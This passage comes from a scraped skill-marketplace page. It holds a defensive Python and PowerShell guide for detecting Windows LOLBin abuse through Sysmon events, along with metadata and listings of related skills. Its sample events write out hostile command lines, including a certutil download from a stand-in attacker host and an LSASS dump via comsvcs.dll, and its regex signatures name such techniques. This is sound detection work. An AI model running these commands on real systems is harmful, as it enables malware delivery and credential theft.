{\n        \"suspicious_args\": [\n            r\"-urlcache\\s+-f\\s+http\",\n            r\"-decode\\s+\",\n            r\"-encode\\s+\",\n            r\"-verifyctl\\s+.*http\",\n        ],\n        \"mitre\": \"T1218, T1105\",\n        \"severity\": \"high\"\n    },\n    \"mshta.exe\": {\n        \"suspicious_args\": [\n            r\"https?:\u002F\u002F\",\n            r\"vbscript:\",\n            r\"javascript:\",\n            r\"about:\",\n        ],\n        \"mitre\": \"T1218.005\",\n        \"severity\": \"high\"\n    },\n    \"rundll32.exe\": {\n        \"suspicious_args\": [\n            r\"javascript:\",\n            r\"shell32\\.dll.*ShellExec_RunDLL\",\n            r\"\\\\\\\\.*\\\\.*\\.dll\",  # UNC path DLL loading\n            r\"comsvcs\\.dll.*MiniDump\",  # LSASS dump via comsvcs\n        ],\n        \"mitre\": \"T1218.011\",\n        \"severity\": \"critical\"\n    },\n    \"regsvr32.exe\": {\n        \"suspicious_args\": [\n            r\"\u002Fs\\s+\u002Fn\\s+\u002Fu\\s+\u002Fi:\",\n            r\"scrobj\\.dll\",\n            r\"https?:\u002F\u002F\",\n        ],\n        \"mitre\": \"T1218.010\",\n        \"severity\": \"critical\"\n    },\n    \"bitsadmin.exe\": {\n        \"suspicious_args\": [\n            r\"\u002Ftransfer\\s+.*https?:\u002F\u002F\",\n            r\"\u002Fcreate\\s+.*\\\u002Faddfile\\s+.*https?:\u002F\u002F\",\n            r\"\u002FSetNotifyCmdLine\",\n        ],\n        \"mitre\": \"T1197\",\n        \"severity\": \"high\"\n    },\n    \"wmic.exe\": {\n        \"suspicious_args\": [\n            r\"process\\s+call\\s+create\",\n            r\"\u002Fnode:\",\n            r\"os\\s+get\\s+\u002Fformat:.*https?:\u002F\u002F\",\n            r\"xsl.*https?:\u002F\u002F\",\n        ],\n        \"mitre\": \"T1047\",\n        \"severity\": \"high\"\n    },\n    \"msbuild.exe\": {\n        \"suspicious_args\": [\n            r\"\\.xml\\b\",\n            r\"\\.csproj\\b\",\n            r\"\\\\temp\\\\\",\n            r\"\\\\appdata\\\\\",\n        ],\n        \"mitre\": \"T1127.001\",\n        \"severity\": \"high\"\n    },\n    \"mavinject.exe\": {\n        \"suspicious_args\": [\n            r\"\u002FINJECTRUNNING\\s+\\d+\",\n        ],\n        \"mitre\": \"T1218.013\",\n        \"severity\": \"critical\"\n    },\n}\n\ndef analyze_sysmon_events(events):\n    \"\"\"Analyze Sysmon process creation events for LOLBin abuse.\"\"\"\n    alerts = []\n\n    for event in events:\n        image = event.get(\"Image\", \"\").lower()\n        cmdline = event.get(\"CommandLine\", \"\")\n        parent = event.get(\"ParentImage\", \"\")\n\n        # Check if the process is a known LOLBin\n        for lolbin, config in LOLBIN_SIGNATURES.items():\n            if image.endswith(lolbin.lower()):\n                for pattern in config[\"suspicious_args\"]:\n                    if re.search(pattern, cmdline, re.IGNORECASE):\n                        alert = {\n                            \"timestamp\": event.get(\"UtcTime\", \"\"),\n                            \"hostname\": event.get(\"Computer\", \"\"),\n                            \"lolbin\": lolbin,\n                            \"command_line\": cmdline,\n                            \"parent_process\": parent,\n                            \"user\": event.get(\"User\", \"\"),\n                            \"process_id\": event.get(\"ProcessId\", \"\"),\n                            \"parent_pid\": event.get(\"ParentProcessId\", \"\"),\n                            \"mitre_technique\": config[\"mitre\"],\n                            \"severity\": config[\"severity\"],\n                            \"matched_pattern\": pattern,\n                        }\n                        alerts.append(alert)\n                        break\n    return alerts\n\n# Example usage with parsed Sysmon events\nsample_events = [\n    {\n        \"UtcTime\": \"2026-01-20 14:32:15.000\",\n        \"Computer\": \"WORKSTATION-01\",\n        \"Image\": \"C:\\\\Windows\\\\System32\\\\certutil.exe\",\n        \"CommandLine\": \"certutil.exe -urlcache -f http:\u002F\u002Fevil.example.com\u002Fpayload.exe C:\\\\temp\\\\update.exe\",\n        \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n        \"User\": \"CORP\\\\jsmith\",\n        \"ProcessId\": \"4532\",\n        \"ParentProcessId\": \"2108\",\n    },\n    {\n        \"UtcTime\": \"2026-01-20 14:33:01.000\",\n        \"Computer\": \"WORKSTATION-01\",\n        \"Image\": \"C:\\\\Windows\\\\System32\\\\rundll32.exe\",\n        \"CommandLine\": \"rundll32.exe comsvcs.dll, MiniDump 624 C:\\\\temp\\\\dump.bin full\",\n        \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n        \"User\": \"CORP\\\\jsmith\",\n        \"ProcessId\": \"5128\",\n        \"ParentProcessId\": \"2108\",\n    },\n]\n\nalerts = analyze_sysmon_events(sample_events)\nfor alert in alerts:\n    print(f\"[{alert['severity'].upper()}] {alert['lolbin']} on {alert['hostname']}\")\n    print(f\"  MITRE: {alert['mitre_technique']}\")\n    print(f\"  Command: {alert['command_line'][:120]}\")\n    print(f\"  Parent: {alert['parent_process']}\")\n    print(f\"  User: {alert['user']}\")\n    print()\n```\n\n### Step 4: Detect LOLBin Network Connections\n\nLOLBins making outbound network connections is a strong indicator of malicious use:\n\n```python\ndef detect_lolbin_network_activity(network_events, process_events):\n    \"\"\"Correlate Sysmon network events (ID 3) with process creation (ID 1)\n    to find LOLBins making outbound connections.\"\"\"\n\n    # LOLBins that should rarely make outbound connections\n    NETWORK_SUSPICIOUS = {\n        \"certutil.exe\", \"mshta.exe\", \"rundll32.exe\", \"regsvr32.exe\",\n        \"msbuild.exe\", \"installutil.exe\", \"bitsadmin.exe\", \"esentutl.exe\",\n        \"expand.exe\", \"replace.exe\", \"cmstp.exe\", \"presentationhost.exe\",\n    }\n\n    alerts = []\n    for event in network_events:\n        image = event.get(\"Image\", \"\").lower()\n        binary_name = image.split(\"\\\\\")[-1] if \"\\\\\" in image else image\n\n        if binary_name in NETWORK_SUSPICIOUS:\n            dest_ip = event.get(\"DestinationIp\", \"\")\n            dest_port = event.get(\"DestinationPort\", \"\")\n\n            # Skip localhost and internal DNS\n            if dest_ip.startswith(\"127.\") or dest_ip == \"::1\":\n                continue\n\n            alert = {\n                \"type\": \"lolbin_network_connection\",\n                \"binary\": binary_name,\n                \"destination_ip\": dest_ip,\n                \"destination_port\": dest_port,\n                \"destination_hostname\": event.get(\"DestinationHostname\", \"\"),\n                \"source_ip\": event.get(\"SourceIp\", \"\"),\n                \"user\": event.get(\"User\", \"\"),\n                \"timestamp\": event.get(\"UtcTime\", \"\"),\n                \"severity\": \"critical\",\n            }\n            alerts.append(alert)\n            print(f\"[CRITICAL] {binary_name} connected to \"\n                  f\"{dest_ip}:{dest_port} ({event.get('DestinationHostname', 'N\u002FA')})\")\n\n    return alerts\n```\n\n### Step 5: Monitor Anomalous Parent-Child Process Relationships\n\n```python\n# Suspicious parent-child relationships indicating LOLBin abuse\nSUSPICIOUS_PARENT_CHILD = [\n    # Office apps spawning LOLBins (macro execution)\n    {\"parent\": [\"winword.exe\", \"excel.exe\", \"powerpnt.exe\", \"outlook.exe\"],\n     \"child\": [\"cmd.exe\", \"powershell.exe\", \"pwsh.exe\", \"mshta.exe\",\n               \"wscript.exe\", \"cscript.exe\", \"certutil.exe\"],\n     \"severity\": \"critical\", \"mitre\": \"T1204.002\"},\n\n    # Explorer spawning script interpreters directly\n    {\"parent\": [\"explorer.exe\"],\n     \"child\": [\"mshta.exe\", \"regsvr32.exe\", \"msbuild.exe\"],\n     \"severity\": \"high\", \"mitre\": \"T1218\"},\n\n    # WMI provider spawning processes (lateral movement)\n    {\"parent\": [\"wmiprvse.exe\"],\n     \"child\": [\"cmd.exe\", \"powershell.exe\", \"mshta.exe\"],\n     \"severity\": \"critical\", \"mitre\": \"T1047\"},\n\n    # Services spawning unusual children\n    {\"parent\": [\"services.exe\"],\n     \"child\": [\"cmd.exe\", \"powershell.exe\", \"mshta.exe\", \"rundll32.exe\"],\n     \"severity\": \"high\", \"mitre\": \"T1543.003\"},\n]\n\ndef check_parent_child_anomaly(event):\n    \"\"\"Check if a process creation event has a suspicious parent-child pair.\"\"\"\n    parent = event.get(\"ParentImage\", \"\").split(\"\\\\\")[-1].lower()\n    child = event.get(\"Image\", \"\").split(\"\\\\\")[-1].lower()\n\n    for rule in SUSPICIOUS_PARENT_CHILD:\n        if parent in rule[\"parent\"] and child in rule[\"child\"]:\n            return {\n                \"alert_type\": \"suspicious_parent_child\",\n                \"parent\": parent,\n                \"child\": child,\n                \"command_line\": event.get(\"CommandLine\", \"\"),\n                \"mitre\": rule[\"mitre\"],\n                \"severity\": rule[\"severity\"],\n                \"hostname\": event.get(\"Computer\", \"\"),\n                \"user\": event.get(\"User\", \"\"),\n                \"timestamp\": event.get(\"UtcTime\", \"\"),\n            }\n    return None\n```\n\n### Step 6: Implement AppLocker or WDAC Hardening\n\nRestrict unnecessary LOLBin execution with application control policies:\n\n```powershell\n# Query current AppLocker policy\nGet-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections\n\n# Create AppLocker rules to restrict certutil to admin-only\n$rule = New-AppLockerPolicy -RuleType Publisher -RuleNamePrefix \"Block\" `\n    -FileInformation \"C:\\Windows\\System32\\certutil.exe\" `\n    -User \"S-1-1-0\" -Deny\n\n# Export current policy for backup before applying changes\nGet-AppLockerPolicy -Effective -Xml > AppLocker_Backup.xml\n\n# Block specific LOLBins for standard users via GPO script\n$lolbins_to_restrict = @(\n    \"mshta.exe\", \"cmstp.exe\", \"msbuild.exe\", \"installutil.exe\",\n    \"regsvr32.exe\", \"presentationhost.exe\", \"ie4uinit.exe\",\n    \"mavinject.exe\", \"xwizard.exe\"\n)\n\nforeach ($binary in $lolbins_to_restrict) {\n    $path = \"C:\\Windows\\System32\\$binary\"\n    if (Test-Path $path) {\n        Write-Output \"Restricting: $path\"\n        # Apply WDAC deny rule via PowerShell\n        # In production, use Group Policy or Intune WDAC policies\n    }\n}\n```\n\n## Verification\n\n- Confirm Sysmon is logging Event ID 1 (Process Creation) with full command-line arguments for all listed LOLBins\n- Validate Sigma rules convert correctly to your SIEM query language using `sigmac` or `sigma-cli`\n- Test detection by executing benign LOLBin commands in a lab environment and confirming alerts fire\n- Verify parent-child anomaly detection catches Office-to-LOLBin chains (e.g., `winword.exe` spawning `certutil.exe`)\n- Confirm LOLBin network connection detection triggers when `certutil.exe` or `mshta.exe` reach out to external IPs\n- Check that AppLocker or WDAC policies do not break legitimate administrative workflows before deploying to production\n- Validate false positive rates by running detection rules against 7 days of baseline telemetry from a clean environment\n- Cross-reference detections against the LOLBAS project database at https:\u002F\u002Flolbas-project.github.io\u002F for completeness\n",{"name":5,"tags":44,"capec":47,"model":48,"tools":49,"domain":38,"maxTurns":53,"nist_csf":54,"subdomain":35,"description":7,"mitre_attack":59,"d3fend_techniques":64},[45,34,33,46],"lolbins","process-monitoring",[],"sonnet",[50,31,51,52],"Read","Glob","Grep",20,[55,56,57,58],"DE.CM-01","DE.AE-02","DE.AE-06","ID.RA-05",[60,61,62,63],"T1027","T1059","T1070","T1218",[65,66,67,68,69],"Application Protocol Command Analysis","Network Isolation","Network Traffic Analysis","Client-server Payload Profiling","Network Traffic Community Deviation","main","a91f1293287ffa9f4f1b8f486cd6e835a1568c84","skills\u002Fwindows\u002Flolbins\u002Fdetect","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace","https:\u002F\u002Fgithub.com\u002FDCx7C5","#Python","2026-09-01 11:21:00",{"source":8,"skillName":5,"commands":78,"prompt":88,"zipAvailable":89},[79,82,85],{"tool":80,"command":81},"npx","npx skills add DCx7C5\u002Fai-marketplace --skill lolbins-detect",{"tool":83,"command":84},"bunx","bunx skills add DCx7C5\u002Fai-marketplace --skill lolbins-detect",{"tool":86,"command":87},"pnpm","pnpm dlx skills add DCx7C5\u002Fai-marketplace --skill lolbins-detect","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Flolbins\u002Fdetect\u002FSKILL.md",true,[91],{"path":92,"resourceType":93,"resourceTypeDesc":94,"sizeBytes":95,"sourceHtmlUrl":96},"index.json","REFERENCE","参考文档",657,"https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Flolbins\u002Fdetect\u002Findex.json",[98,120,139,160,182,198],{"skillNo":99,"name":100,"nameZh":6,"description":101,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":102,"categories":103,"keywords":104,"publishedAt":39},"01M71HAPZ01KQ30RKTB0FFSQ05","services-wmi-persistence-detect","Detect WMI event subscription persistence by enumerating ActiveScriptEventConsumer, CommandLineEventConsumer, and permanent subscriptions in the WMI repository.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fpersistence\u002Fdetect\u002FSKILL.md",[],[105,21,106,107,108,26,29,109,110,111,112,113,114,115,116,117,118,38,119],"services","services wmi persistence detect","wmi","persistence","process","activescript","event","subscriptions","commandline-consumer","repository","subscription","event-subscription","t1546.003","forensics","process-forensics",{"skillNo":121,"name":122,"nameZh":6,"description":123,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":124,"categories":125,"keywords":126,"publishedAt":39},"01M71HAK6JTTTS229T17WJMMCG","services-wmi-exec-exploit","Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fexec\u002Fexploit\u002FSKILL.md",[],[127,105,128,107,129,130,24,38,31,32,131,132,133,134,26,22,135,136,137,138],"exploit","services wmi exec exploit","exec","remote","team","across","crackmapexec","native","lateral movement","read","lateral-movement","Impacket",{"skillNo":140,"name":141,"nameZh":6,"description":142,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":143,"categories":144,"keywords":145,"publishedAt":39},"01M71HAG6MHKNQV8KDZKMT4886","registry-artifact-extract","Extract and analyze Windows Registry hives to uncover user activity, installed software, autostart entries, and evidence of system compromise.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fregistry\u002Fartifact\u002Fextract\u002FSKILL.md",[],[146,147,148,149,150,151,38,31,152,32,153,154,26,136,155,156,157,158,159,48],"artifact","registry","registry artifact extract","extract","evidence-collection","artifact-analysis","collection","analyze","uncover","software","activity","digital-forensics","windows-registry","regripper",{"skillNo":161,"name":162,"nameZh":6,"description":163,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":164,"categories":165,"keywords":166,"publishedAt":39},"01M71HACR4A8XTWTTSXK4124AA","processes-token-impersonate-detect","Detect Windows token impersonation and privilege abuse including SeImpersonatePrivilege exploitation via Potato attacks and token stealing techniques.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Ftoken\u002Fimpersonate\u002Fdetect\u002FSKILL.md",[],[21,167,168,169,170,171,172,29,173,38,119,174,175,176,177,178,179,180,181,26],"processes token impersonate detect","token","processes","attacks","windows","escalation","techniques","privilege-escalation","seimpersonate","token-impersonation","printspoofer","exploitation","potato","impersonation","via",{"skillNo":183,"name":184,"nameZh":6,"description":185,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":186,"categories":187,"keywords":188,"publishedAt":39},"01M71HAABSB4Z6QFSXEG00R4RK","processes-thread-injection-detect","Detect Windows thread injection techniques including CreateRemoteThread, QueueUserAPC, NtCreateThreadEx, and thread hijacking via process memory analysis.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fthread\u002Finjection\u002Fdetect\u002FSKILL.md",[],[189,190,21,191,169,171,192,29,193,173,38,119,32,194,195,196,197,181,26,109],"thread","processes thread injection detect","injection","memory","process-injection","api","apc-injection","thread-injection","nt-api",{"skillNo":199,"name":200,"nameZh":6,"description":201,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":202,"categories":203,"keywords":204,"publishedAt":39},"01M71HA7H311V5G14WMX58HQSS","processes-hollow-technique-detect","Detect process hollowing (RunPE) by identifying processes with mismatched image paths between PEB and VAD tree, or unmapped PE headers in memory.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fhollow\u002Ftechnique\u002Fdetect\u002FSKILL.md",[],[205,21,169,206,192,29,207,208,38,119,209,210,211,212,213,214,26,109,215,216],"processes hollow technique detect","tree","memory-forensics","process-hollow","peb","runpe","image","pe-header","in memory","with","mismatched","headers"]